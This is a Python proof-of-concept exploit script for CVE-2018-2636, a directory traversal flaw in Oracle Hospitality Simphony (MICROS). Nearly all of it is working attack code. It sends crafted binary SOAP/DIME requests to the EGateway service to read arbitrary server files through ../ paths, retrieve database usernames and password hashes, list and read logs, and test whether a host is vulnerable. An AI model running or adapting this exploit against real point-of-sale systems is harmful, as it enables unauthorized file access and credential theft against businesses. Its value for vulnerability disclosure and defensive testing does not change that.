# Exploit Title: Oracle Hospitality Simphony (MICROS) directory traversal # Date: 30.01.2018 # Exploit Author: Dmitry Chastuhin (https://twitter.com/_chipik) # Vendor Homepage: http://www.oracle.com/ # Version: 2.7, 2.8 and 2.9 # Tested on: Win, nix # CVE : CVE-2018-2636 #!/usr/bin/env python # https://twitter.com/_chipik # Sorry for bad code practises. This is just a PoC, don't blame us very hard A-\_(a)_/A- import requests import argparse import unicodedata def rm_right(str): rez="" k=0 for i in range(len(str)): rez = rez + str[k:k+2] k=k+4 return rez def add_right(str,char): rez="" k=0 for i in range(len(str)/2): rez= rez + str[k:k+2]+char k=k+2 return rez def rm_left(str): rez="" k=2 for i in range(len(str)): rez = rez + str[k:k+2] k=k+4 return rez def add_left(str,char): rez="" k=0 for i in range(len(str)/2): rez= rez + char + str[k:k+2] k=k+2 return rez def send(data,dos=0): if args.verb: print "[DBG] \n"+data.encode("hex") if dos: try: r = requests.post(base_uri, headers=headers, data=data, timeout=0.001) except: return else: r = requests.post(base_uri, headers=headers, data=data) if r.status_code == 200: if args.verb: print "[DBG] HEX:" print unicodedata.normalize('NFKD', r.text).encode('ascii','ignore').encode("hex") print "\n[DBG] RAW:\n"+r.text print "" return unicodedata.normalize('NFKD', r.text).encode('ascii','ignore') else: print "[DBG] status code: %d" % r.status_code print "[DBG] text : %s" % repr(r.text) def calculate_len(filename): len2 = (len(filename)+8)/2 len1 = len2 + 8 len0 = len1 + 124 if args.verb: print "len2="+str('{0:02x}'.format(len2)) print "len1="+str('{0:02x}'.format(len1)) print "len0="+str('{0:04x}'.format(len0)) return str('{0:04x}'.format(len0)),str('{0:02x}'.format(len1)),str('{0:02x}'.format(len2)) def cli_info(): print "[*] Let's get info about server" poc_pref='\x0c\x20\x00\x00\x00\x10\x00\x29\x00\x00\x01\x38\x55\x56\x51\x50\x70\x39\x78\x7a\x66\x69\x70\x56\x53\x6e\x4c\x75\x68\x74\x74\x70\x3a\x2f\x2f\x73\x63\x68\x65\x6d\x61\x73\x2e\x78\x6d\x6c\x73\x6f\x61\x70\x2e\x6f\x72\x67\x2f\x73\x6f\x61\x70\x2f\x65\x6e\x76\x65\x6c\x6f\x70\x65\x2f\x00\x00\x00' poc_body='' poc_suf1='\x0a\x10\x00\x00\x00\x10\x00\x18\x00\x00\x00\x84\x55\x56\x51\x50\x70\x39\x78\x7a\x66\x69\x70\x56\x53\x6e\x4c\x75\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6f\x63\x74\x65\x74\x2d\x73\x74\x72\x65\x61\x6d\x01\xe1\x1e\x02\x00\x00\x00\x36\x00\x00\x00\x3c\x00\x53\x00\x49\x00\x2d\x00\x53\x00\x65\x00\x63\x00\x75\x00\x72\x00\x69\x00\x74\x00\x79\x00\x20\x00\x56\x00\x65\x00\x72\x00\x73\x00\x69\x00\x6f\x00\x6e\x00\x3d\x00\x22\x00\x32\x00\x22\x00\x20\x00\x2f\x00\x3e\x00\x58\x52\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xc1\x1c\x01\x00\x00\x00\x01\xd1\x1d\xb8\x58\x00\x00\xb1\x36\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1d\xd1\x02\x1c\xc1\x02\x1e\xe1\x02' poc = poc_pref+poc_body+poc_suf1 full_rez = send(poc) return full_rez def cli_dbinfo(): print "[*] Let's get DB creds" poc_pref='\x0c\x20\x00\x00\x00\x10\x00\x29\x00\x00\x01\x38\x55\x56\x51\x50\x70\x39\x78\x7a\x66\x69\x70\x56\x53\x6e\x4c\x75\x68\x74\x74\x70\x3a\x2f\x2f\x73\x63\x68\x65\x6d\x61\x73\x2e\x78\x6d\x6c\x73\x6f\x61\x70\x2e\x6f\x72\x67\x2f\x73\x6f\x61\x70\x2f\x65\x6e\x76\x65\x6c\x6f\x70\x65\x2f\x00\x00\x00' poc_body='' poc_suf1='\x0a\x10\x00\x00\x00\x10\x00\x18\x00\x00\x00\xa0\x73\x71\x33\x49\x71\x35\x50\x54\x74\x66\x32\x6b\x42\x73\x53\x48\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6f\x63\x74\x65\x74\x2d\x73\x74\x72\x65\x61\x6d\x01\xe1\x1e\x02\x00\x00\x00\x36\x00\x00\x00\x3c\x00\x53\x00\x49\x00\x2d\x00\x53\x00\x65\x00\x63\x00\x75\x00\x72\x00\x69\x00\x74\x00\x79\x00\x20\x00\x56\x00\x65\x00\x72\x00\x73\x00\x69\x00\x6f\x00\x6e\x00\x3d\x00\x22\x00\x32\x00\x22\x00\x20\x00\x2f\x00\x3e\x00\xbd\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xc1\x1c\x01\x00\x00\x00\x01\xd1\x1d\x88\x96\x00\x00\x35\x53\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00\x24\x00\x00\x00\x0d\x00\x44\x62\x49\x6e\x66\x6f\x52\x65\x71\x75\x65\x73\x74\x01\x00\x00\x00\x01\x00\x06\x00\x6d\x53\x70\x61\x72\x65\x08\x00\x00\x00\x00\x00\x00\x1d\xd1\x02\x1c\xc1\x02\x1e\xe1\x02' poc = poc_pref+poc_body+poc_suf1 full_rez = send(poc) return full_rez def cli_log_list(): print "[*] Let's get log list" poc = "0c200000001000290000013872663850506e79467478667275366577687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f0000003c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d227574662d38223f3e3c736f61703a456e76656c6f706520786d6c6e733a736f61703d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220786d6c6e733a7873693d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e63652220786d6c6e733a7873643d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d61223e3c736f61703a426f64793e3c50726f6365737344696d655265717565737420786d6c6e733d22687474703a2f2f6d6963726f732d686f7374696e672e636f6d2f45476174657761792f22202f3e3c2f736f61703a426f64793e3c2f736f61703a456e76656c6f70653e0a100000001000180000008e72663850506e794674786672753665776170706c69636174696f6e2f6f637465742d73747265616d01e11e02000000360000003c00530049002d00530065006300750072006900740079002000560065007200730069006f006e003d0022003200220020002f003e00a5980000000000000000000001c11c0100000001d11d98a20000b13600000100000000000000000000001e00000012000000050000000a000000240024006c006f0067001dd1021cc1021ee1020000" full_rez = send(poc.decode("hex")) return full_rez def cli_read_log(filename): log2="log\\"+filename print "[*] Let's read %s" % log2 log = add_left(log2.encode("hex"),"00") poc_pref='\x0c\x20\x00\x00\x00\x10\x00\x29\x00\x00\x01\x38\x55\x56\x51\x50\x70\x39\x78\x7a\x66\x69\x70\x56\x53\x6e\x4c\x75\x68\x74\x74\x70\x3a\x2f\x2f\x73\x63\x68\x65\x6d\x61\x73\x2e\x78\x6d\x6c\x73\x6f\x61\x70\x2e\x6f\x72\x67\x2f\x73\x6f\x61\x70\x2f\x65\x6e\x76\x65\x6c\x6f\x70\x65\x2f\x00\x00\x00' poc_body='' poc_suf_1_1='0A100000001000180000' poc_suf_1_ses='66497a3263516c56444c35305045356e' poc_suf_1_2='6170706C69636174696F6E2F6F637465742D73747265616D01E11E02000000360000003C00530049002D00530065006300750072006900740079002000560065007200730069006F006E003D0022003200220020002F003E00C2AF0000000000000000000001C11C0100000001D11D8EBA0000B13600000100000000000000000000001E000000' poc_suf_1_len0, poc_suf_1_len1, poc_suf_1_len2 = calculate_len(log) poc_suf_1_3='00000006000000' poc_suf_1_4='000000240024' poc_suf1=(poc_suf_1_1+poc_suf_1_len0+poc_suf_1_ses+poc_suf_1_2+poc_suf_1_len1+poc_suf_1_3+poc_suf_1_len2+poc_suf_1_4).decode("hex") poc_logname = log.decode("hex") if len(log2) % 2 == 1: poc_suf2='001dd1021cc1021ee1020000'.decode("hex") else: poc_suf2='001dd1021cc1021ee102'.decode("hex") poc = poc_pref+poc_body+poc_suf1+poc_logname+poc_suf2 full_rez = send(poc) return full_rez def cal_tst(): file = "ServiceHostPrereq2012Sql\BootToDesktop.reg" suf = file.encode('utf-16le') print suf pre = "\x0c \x00\x00\x00)\x00)\x00\x00\x04muuid:4382e7a6-607d-4392-b5df-d4b8bfcf4185\x00\x00\x00http://schemas.xmlsoap.org/soap/envelope/\x00\x00\x00" xml = "http://micros-hosting.com/EGateway/ProcessDimeRequestuuid:12e52d09-38dc-4071-810d-7ced9a3bfd59http://schemas.xmlsoap.org/ws/2004/03/addressing/role/anonymoushttp://172.16.2.207:8080/EGateway/EGateway.asmx2017-07-11T22:18:58Z2017-07-11T22:19:28Z" suf_1 = "\x00\x00\x00\x0a\x10\x00\x00\x00)\x00\x18\x00\x00\x00\xf3uuid:d9706c6f-d103-45b2-9ca2-ec588dab1c7d\x00\x00\x00application/octet-stream\x01\xe1\x1e\x02\x00\x00\x00\x00\x00\x00\x00N\x1c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xc1\x1c\x01\x00\x00\x00\x01\xd1\x1dM\x1c\x01\x00kB\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00\xad\x00\x00\x00\x01\x00\x00\x002\x00\x00\x00kB\x00\x00\x00\x00\x00\x00\x03\x01\x04\x8a\x15\x00\x00\x00\x11\x00\x00\x00\x18\x00\x00\x00W\x00o\x00r\x00k\x00s\x00t\x00a\x00t\x00i\x00o\x00n\x001\x00\\\x00\x00\x00" suf_2 = "\x01\xadf\xd7\x00\x00\x00\x00\x00\x17t\x00\x00\x8e\x00\x00\x00\x00\x00\x00\x00\x1d\xd1\x02\x1c\xc1\x02\x1e\xe1\x02\x00" rez_S = suf_1+suf+suf_2 data =pre+xml+rez_S print suf.decode('utf-16le') if __name__ == '__main__': parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('-H', '--host', default='127.0.0.1', help='host') parser.add_argument('-P', '--port', default='8080', help='port') parser.add_argument('-i', '--info', action='store_true', help='information about micros installation') parser.add_argument('-d', '--dbinfo' ,action='store_true', help='information about micros db (usernames and hashes)') parser.add_argument('-l', '--log', action='store_true', help='information about log files') parser.add_argument('-s', '--ssl', action='store_true', help='enable SSL') parser.add_argument('-r', '--read', help='read file from server (root dir is c:\\. Ex.: windows\\win.ini) Also u can use 1 - for SimphonyInstall.xml and 2 - for DbSettings.xml' ) parser.add_argument('-v', '--verb', action='store_true', default=0, help='verb') args = parser.parse_args() headers = dict() if args.ssl: base_uri = 'https://%s:%s%s' % (args.host, args.port, '/EGateway/EGateway.asmx') else: base_uri = 'http://%s:%s%s' % (args.host, args.port, '/EGateway/EGateway.asmx') headers['SOAPAction'] = '\"http://micros-hosting.com/EGateway/ProcessDimeRequest\"' headers['Content-Type']= 'application/dime' headers['Expect'] = '100-continue' if args.info: results = cli_info() if results.find('\x00\x55\x00\x6e\x00\x61\x00\x75\x00\x74\x00\x68\x00\x6f\x00\x72\x00\x69\x00\x7a\x00\x65\x00\x64') != -1: print "[*] Your instance is not vulnerable to CVE-2018-2636" else: print "[!] Your instance is vulnerable to CVE-2018-2636" print results exit() if args.dbinfo: print cli_dbinfo() exit() if args.log: print cli_log_list() exit() if args.read: if args.read == "1": print cli_read_log("..\\..\\..\\SimphonyInstall.xml") exit() if args.read == "2": print cli_read_log("..\\DbSettings.xml") exit() else: print cli_read_log(args.read) exit()